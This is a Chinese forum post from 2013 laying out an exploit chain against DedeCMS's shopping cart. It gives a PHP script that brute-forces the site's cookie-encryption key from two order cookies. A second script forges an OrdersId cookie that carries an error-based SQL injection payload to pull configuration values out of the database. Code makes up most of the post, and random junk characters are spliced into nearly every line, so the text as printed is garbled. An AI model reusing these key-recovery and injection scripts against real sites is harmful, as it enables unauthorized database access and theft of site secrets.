找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2320|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=/ r5 [8 U0 k2 Z) f8 l; h
在 include/shopcar.class.php中
  Q6 Y* z, I! D" G7 t先看一下这个shopcar类是如何生成cookie的3 Z" I% H' Q  U3 ^9 D" r  X3 Y5 v
239      function saveCookie($key,$value)
/ I# p* a: A2 M$ [! ]240      {
  g: [1 S; z5 w) N9 L" m: Q; l2 g241          if(is_array($value))1 w  z6 n/ H' u/ k
242          {
8 L1 B# d" }- B2 G243              $value = $this->enCrypt($this->enCode($value));1 T+ k. c  g) ~. I, K
244          }& r- x# t1 A; q6 k' h* }
245          else$ S; u) e' R( u+ [& |& Z
246          {
. }* x. M, g2 Y; p247              $value = $this->enCrypt($value);
' ]. y/ D; q/ G% t+ o2 m& T248          }8 F: ?  w+ u8 P7 V/ g5 Q
249          setcookie($key,$value,time()+36000,’/');: @. T2 |( [5 j( B& \7 l1 S6 f
250      }. F1 Y# ~$ y+ d, `
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数5 ]2 |" ]4 |$ j: A% g& V1 l
186      function enCrypt($txt)
- x2 x" w* G8 ^3 H187      {3 G" y- ]8 P. Z* n9 M; ?. `
188          srand((double)microtime() * 1000000);* U8 O1 X8 o1 o% @
189          $encrypt_key = md5(rand(0, 32000));0 Q' M2 {& U( \
190          $ctr = 0;1 J+ [( A+ j9 p6 C
191          $tmp = ”;
# @4 ~: f% m7 f; Z/ v; Y192          for($i = 0; $i < strlen($txt); $i++)
+ `# `7 l$ T) K8 m* V. k193          {
) i% O! H, n. Q194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
6 m& K6 k: q; z# j195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
* c( A  v+ z( C4 g8 q196          }
/ p9 B6 a& Q' W2 R4 [& _+ \197          return base64_encode($this->setKey($tmp));
- j" \7 a# j& H, Q198      }/ f+ |5 v% d6 @. w) A4 {3 e
213      function setKey($txt)$ L, H. F3 A6 q+ S2 Q2 o4 i, d
214      {/ B( }+ I5 e5 N3 S3 u, ?. j
215          global $cfg_cookie_encode;
: M* C$ {. [" e5 e6 w5 ^* V216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
4 G% S9 b. q- J/ F+ s& R4 r: _9 b217          $ctr = 0;. o3 l: \% a3 y/ |" p) B6 U
218          $tmp = ”;
* [0 u- f! n: ~219          for($i = 0; $i < strlen($txt); $i++)
; f* U% `$ h: ]$ D, |( O220          {0 `: s& d) _) ]  h' s
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;: p. n5 ^9 l6 ^5 m  ?# ?5 N
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
, U+ W' z+ m  ], N' w7 t223          }
6 B+ _$ @6 J0 ]0 j3 ~3 f224          return $tmp;
, U( K; T. F" f8 M3 f+ Q7 P225      }1 x0 C0 _9 Q; V3 ^  H& @1 x' m
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
+ p7 p, B8 i" ^' Z( ~7 u  _, T7 B然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。: s4 l! w1 W5 g1 E% J
具体代码如下:1 c6 X" ^. x( l0 z# J& n2 L
<?php, S( _5 w$ j: I  }/ ~) g& ]
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
" T' ^: d( h% B! ~! `* Z5 R$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here* l& {9 X6 f& I1 s6 Y
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here1 l, m- Q+ Y- S
function reStrCode($code,$string)
9 J0 n! y2 u' h" m8 _' @{
; y4 Y4 u4 h9 w" o. b$code = base64_decode($code);
, ?3 H. G3 N2 c) j6 u! w" C$key = “”;( z9 Z9 w9 x0 b$ m! y7 Y
for($i=0 ; $i<32 ; $i++); M  w; S+ e' P( |% P
{1 ~, |3 a* G0 j& Z9 L) d. S
$key .= $string[$i] ^ $code[$i];/ O" O8 C- G7 r+ I+ F: ]; o+ I
}
3 \. G- w1 b/ k9 Zreturn $key;
' x; V$ |, B. \% e, @7 e0 E4 v( p}) r4 @! |4 d/ n, f% d
function getKeys($cookie,$plantxt)
) y% @" r  Y# w% I" ~* U2 h{* p$ t' Q- o& J$ C$ x
$tmp = $cookie;
+ k  ]# j8 ]; F6 j+ p+ A$results = array();
" I6 j7 Y+ K6 D3 }for($j=0 ; $j < 32000; $j++)4 g* p6 F# b. W+ V
{
& c" [% ^& V5 Z8 w
5 w* w2 u( u* J7 y* U8 @/ Q; d* t; c$txt = $plantxt;" R& }; M: J8 c$ n& f0 F
$ctr = 0;/ P- E& F! a  O( i
$tmp = ”;3 D9 f+ h# H$ B. k
$encrypt_key = md5($j);
% N4 Q0 T' d. T& S1 X, c  |2 zfor($i =0; $i < strlen($txt); $i ++)
7 h% ^2 e: r5 r4 ?{
/ ?" ]0 i0 d0 r% \$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;) J3 S- m; G( m( x
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
0 l3 R% C& ~2 ?' v3 p. o}
5 B! W: ]/ b4 [0 J9 ]: J$string = $tmp;
8 G' Q# o) B& F6 Z5 l$code = $cookie;# k7 D9 D0 O1 D
$result = reStrCode($code,$string);' q. p& l6 ~7 Y5 j! L
if(eregi(‘^[a-z0-9]+$’,$result))3 A5 H) b1 x0 d' C( k0 p# N' Z
{
7 U" L0 X% V. Z; Secho $result.”\n”;6 r; J9 z  m8 R/ U5 @. H( S
$results[] = $result;! o/ b- }, K9 _* u
}/ g1 p* a) O/ D5 ]3 o, t% p! A, a
}
3 ~2 [- T, j' Nreturn $results;. m/ t7 G) D/ @+ {! B# T+ U
}
" b, L6 v4 _; }$ q2 r8 K# x$results1 = getKeys($cookie1,$plantxt);/ O3 g3 e3 t/ I+ D
$results2 = getKeys($cookie2,$plantxt);
  k4 N& j% b4 ^) ^print “\n——————–real key————————–\n”;, v. m9 h0 u9 `/ D6 }
foreach($results1 as $test1): v( b8 ^) F# E0 Q. s
{
% g7 B$ T" N+ ?2 ?foreach($results2 as $test2)
" F. U$ u+ y# X2 R, @' \{
7 M2 x8 [* D2 {! O: ^* ]0 d' ~. Dif($test1 == $test2)
2 R4 t9 I+ _9 q{
" b% b6 s! q: t9 o- Y  u) secho $test1.”\n”;  q9 z! Q$ A8 [9 L6 c
}
4 p" M$ B( A" G! P6 b8 c" B}
7 Z+ d; b* n* |6 G" e}
) x$ {7 u/ H4 e; i?>/ z- p2 G- {) G' M3 Z
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
0 F# i) m5 L. fplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1% n$ S" q$ N: h. `1 X! \5 j9 [. X
然后推算出md5(strtolower($cfg_cookie_encode))) p4 B$ b2 a2 B& I  q
得到这个key之后,我们就可以构造任意购物车的cookie6 m1 }" a1 n; h& B5 q4 N& Z
接着看7 U4 v" [0 p; C1 ^! `; m7 Y4 z
20  class MemberShops
+ w9 F% {8 R  o$ p6 w21  {
  n% r3 g9 i! P% N22      var $OrdersId;
* D3 G: r- n" P3 V/ t5 W9 ]23      var $productsId;5 d3 y: m1 l1 F& H  |: n7 O
24
  I  e9 c- E6 |25      function __construct()
: k1 s  ~$ l, d7 N26      {
* Z3 n; F% [% v4 `( S! |0 C% S27          $this->OrdersId = $this->getCookie(“OrdersId”);' |! K1 u; o1 ?5 m/ J- U+ @
28          if(empty($this->OrdersId))$ s0 x# N0 |- |2 o
29          {
+ P* u) g; E, Q7 U0 [30              $this->OrdersId = $this->MakeOrders();
! m( h6 L& q0 K- p5 `4 o# ~$ d31          }
' H  x/ g2 L4 a- L" X! Y32      }
1 U/ ]4 O" J/ [9 F$ |) I发现OrderId是从cookie里面获取的! b. \  K; b! {) r
然后0 x/ S  `$ k( x5 `$ C: ~
/plus/carbuyaction.php中的
: V& y; M& Y- B/ m7 |1 ]" L29      $cart    = new MemberShops();$ s, t( N) _; {# E2 k
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
9 u& S/ O! Z% i- ^8 E……
  u7 R7 G" ?4 u3 w173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
4 N$ f- @; J+ |$ n5 e) @接着我们就可以注入了0 Z% a: ?- w4 R  [+ _& s+ B( \
通过利用下面代码生成cookie:
5 d4 s1 B+ t# m. u7 ?<?php6 a6 l% Y; ]) b2 o
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;, W. I& V- T! \# }# L
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here. F3 }8 a  b  q4 }* a& A9 m+ y4 K9 W
function setKey($txt)" i' \6 Q& S, k* y6 S+ d
{5 u/ t& ?2 \7 V, O8 O
global $encrypt_key;
+ E5 C1 d+ u' ?7 b$ctr = 0;4 ]% I3 U& i/ V  c8 g% U
$tmp = ”;
  h! r1 ^- c- H$ v+ Tfor($i = 0; $i < strlen($txt); $i++)
% Z) g, d* O& c5 |# P" E9 _{
* n0 Z: K8 ~9 S% i6 E; N$ M& K$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
" q) ]5 k+ p+ b( G* C5 o$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];" T- i8 n% S4 l, g6 u
}, G( V) V# {1 ~' S& \
return $tmp;
. x; [% b# ?- ~- ?}
8 l/ {, d4 y' p( |6 Qfunction enCrypt($txt)
" ~6 N! g# W/ r{
8 o4 R7 M! A) V. {+ ~srand((double)microtime() * 1000000);5 t" I% n( m6 @2 L# a; [
$encrypt_key = md5(rand(0, 32000));& ^% G+ {& \) V( y* m4 m
$ctr = 0;
  i4 ^2 {8 j. b' ]) e8 \$tmp = ”;
1 V1 `# v% ~; Zfor($i = 0; $i < strlen($txt); $i++)
  B& I, w2 e2 c{: L7 c( Y4 W1 L! K
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
9 ^4 U3 P# M) j+ K' P& z$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
* s) u  {3 D0 Z" G* }}
6 c5 @9 _5 ^6 o" [% kreturn base64_encode(setKey($tmp));
9 U+ ^( B; |3 Z: Y}* L" F' a- c9 J6 a  ?
for($dest =0;$dest = enCrypt($txt);)% S9 b( C5 E3 F/ h
{% Y0 \5 P3 ?  P& L
if(!strpos($dest,’+'))
& U8 N  Q$ t3 M3 P{
/ x; J8 z4 Q  h9 S# W4 Y" Xbreak;
2 o# a( U+ w9 L. G+ v}
+ ]6 b3 z0 X1 ~' i}
) n+ H- f- ]: O0 J3 \$ d% P  jecho $dest.”\n”;
$ m& I; w& |5 w4 L7 X?>
) b% T$ v" o! X7 W" _% I& ?. n* U( T1 W+ y
​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表